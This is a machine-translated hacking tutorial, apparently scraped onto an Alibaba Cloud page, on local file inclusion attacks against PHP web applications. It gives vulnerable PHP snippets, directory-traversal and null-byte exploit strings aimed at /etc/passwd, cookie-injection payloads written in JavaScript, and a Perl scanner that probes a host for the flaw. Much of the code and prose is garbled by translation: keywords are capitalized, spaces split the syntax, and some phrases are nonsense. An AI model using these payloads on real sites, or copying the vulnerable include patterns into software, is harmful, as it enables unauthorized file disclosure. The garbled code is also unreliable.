Web service-based attack scripts

Source: Internet
Author: User

==> [0x01.-Local file sharing]

Let's see how many methods can bring these different programs and different actions. This is our pursuit:
Open mind.
[Code #1]
X:>...
If (isset ($ _ GET ["mode"])
{
If ($ _ GET ["mode"] = "edit ")
{
If (isset ($ _ GET ['id'])
{
$ Notefile = $ _ GET ['id'];
If ($ notefile = "new ")
{
$ Title = "";
$ Notes = "";
}
Else
{
$ Temp = "notes/". $ notefile;
Require ($ temp );
}
X: <...
X :}}}
[End code #1]
This is the simplest example, and we will wait and see. Just as we don't have much to understand their behavior.
Exploit:
? Mode = edit & id =.../etc/passwd
$ Temp = "notes/". $ notefile. ". php ";
This vulnerability will have a "NULL Byte" (% 00 h) to end the connection.
Exploit:
? Mode = edit & id = .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd % 00
~~~~~~~~~~~~~~~~~~~~~~~~~
Let's go to the 2nd example. The code is easy to handle and insecure cookies. I think you may ask: is a security vulnerability handled? I am here to tell you, no! Let's look at an example.
[Code #2]
If (! Empty ($ _ COOKIE ['language']) &! Isset ($ _ SESSION ['language']) {
$ _ SESSION ['language'] = $ _ COOKIE ['language'];
}
....
If (LANG = ""){
If (! Isset ($ _ SESSION ['language']) {
Include ("lang/english/lang. php ");
$ _ LANG = "english ";
} Else {
Include ("lang/". $ _ SESSION ['language']. "/lang. php ");
$ _ LANG = $ _ SESSION ['language'];
}
...}
[End code #2]
Exploit:
Javascript: document. cookie = "language = .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd % 00; path = /";
As we can see, we must add NULL bytes (% 00 h). Why do we do this, to avoid directory traversal.
~~~~~~~~~~~~~~~~~~~~~~~~
In this example, the situation is very similar to Example 2. Only in this case is the PHP function 'plod' of an intruder. Open mind, and think of a Hacker.
[Code #3]
X:>...
If (isset ($ HTTP_COOKIE_VARS ["userInfo"]) & $ HTTP_COOKIE_VARS ["userInfo"]! = ""){
$ UserArray = explode ("", $ HTTP_COOKIE_VARS ["userInfo"]);
$ UserName = $ userArray [0];
$ UserID = $ userArray [1];
$ UserLang = $ userArray [2];
Include ("include/lang/$ userLang/inc. messages. php ");
}
X: <...
[End code #3]
You should know that "$ HTTP_COOKIE_VARS" can also manipulate users, rather than "$ _ COOKIE" to open...
Concept verification (function 'plode' PHP ):
1)
String = JosS;
[0] = JosS;
[1] =;
[2] =; ---> INCLUDE
2)
String = JosS;
[0] = JosS;
[1] = JosS;
[2] = JosS; ---> INCLUDE
Exploit:
Javascript: document. cookie = "userInfo = JosS..././etc/passwd % 00; path = /";
~~~~~~~~~~~~~~~~~~~~~~~~~~~
For example 1, the first example is the last one. We need to use 'if gets' to process cookies with greater vulnerability.
[Code #4]
X:>...
If (isset ($ _ GET ["mode"])
{
If ($ _ GET ["mode"] = "edit ")
{
If (isset ($ _ GET ['id'])
{
$ Notefile = $ _ COOKIE ['note'];
If ($ notefile = "new ")
{
$ Title = "";
$ Notes = "";
}
Else
{
$ Temp = "notes/". $ notefile;
Require ($ temp );
}
X: <...
X :}} www.2cto.com
[End code #4]
I will not explain this code step by step. We must keep our '$ _ cookies' in mind'
We must give 'if' to help us, including our 'cookies '. Therefore, we can exploit these two vulnerabilities.
Exploit 1:
Javascript: document. cookie = "note = .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd; path = /";
Exploit 2 :? Mode = edit & id
==> [0x02.-Exploits]
 
I want to call it "Automation" because they simplify the process and make users feel comfortable with nothing. The example is Perl programming, because these cases are common. Let's look at the code.
[Code #1]
Use LWP: UserAgent;
Use HTTP: Request;
Use LWP: Simple;
If (! $ ARGV [0])
{
Print "Usage: perl xpl. pl [HOST] \ n ";
Print "Example: perl xpl. pl http: // localhost/path/\ n ";
}
Else
{
$ Web = $ ARGV [0];
Chomp $ web;
$ Iny = "vuln. php? Vuln = .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd % 00 ";
My $ web1 = $ web. $ iny;
Print "$ web1 \ n ";
My $ ua = LWP: UserAgent-> new;
My $ req = HTTP: Request-> new (GET => $ web1 );
$ Doc = $ ua-> request ($ req)-> as_string;
If ($ doc = ~ /^ Root/moxis ){
Print "Web is vuln \ n ";
}
Else
{
Print "Web is not vuln \ n ";
}}
[End code #1]
This Exploit is very simple and there are not many unsolved puzzles. We use the 'lwp 'module to connect us to the Web.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.